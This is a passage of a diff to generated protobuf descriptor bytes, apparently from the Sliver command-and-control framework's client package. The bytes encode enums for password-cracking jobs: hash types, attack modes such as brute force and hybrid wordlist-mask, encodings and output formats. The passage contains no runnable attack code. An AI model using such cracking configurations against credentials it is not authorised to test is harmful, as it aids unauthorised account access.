0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, - 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, - 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, - 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, - 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, - 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, - 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, - 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, - 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, - 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, - 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, - 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, - 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, - 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, - 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, - 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, - 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, - 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, - 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, - 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, - 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, - 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, - 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, - 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, - 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, - 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, - 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, - 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, - 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, - 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, - 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, - 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, - 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, - 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, - 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, - 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, - 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, - 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, - 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, - 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, - 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, - 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, - 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, - 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, - 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, - 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, - 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, - 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, - 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, - 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, - 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, - 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, - 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, - 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, - 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, - 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, - 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, - 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, - 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, - 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, - 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, - 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, - 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, - 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, - 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, - 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, - 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, - 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, - 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, - 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, - 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, - 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, - 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, - 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, - 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, - 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, - 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, - 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, - 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, - 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, - 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, - 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, - 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, - 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, - 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, + 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, + 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, + 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, + 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, + 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, + 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, + 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, + 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, + 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, + 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, + 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, + 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, + 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, + 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, + 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, + 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, + 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, + 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, + 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, + 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, + 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, + 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, + 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, + 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, + 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, + 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, + 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, + 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, + 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, + 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, + 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, + 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, + 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, + 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, + 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, + 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, + 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, + 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, + 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, + 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, + 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, + 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, + 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, + 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, + 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, + 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, + 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, + 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, + 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, + 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, + 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, + 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, + 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, + 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, + 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, + 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, + 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, + 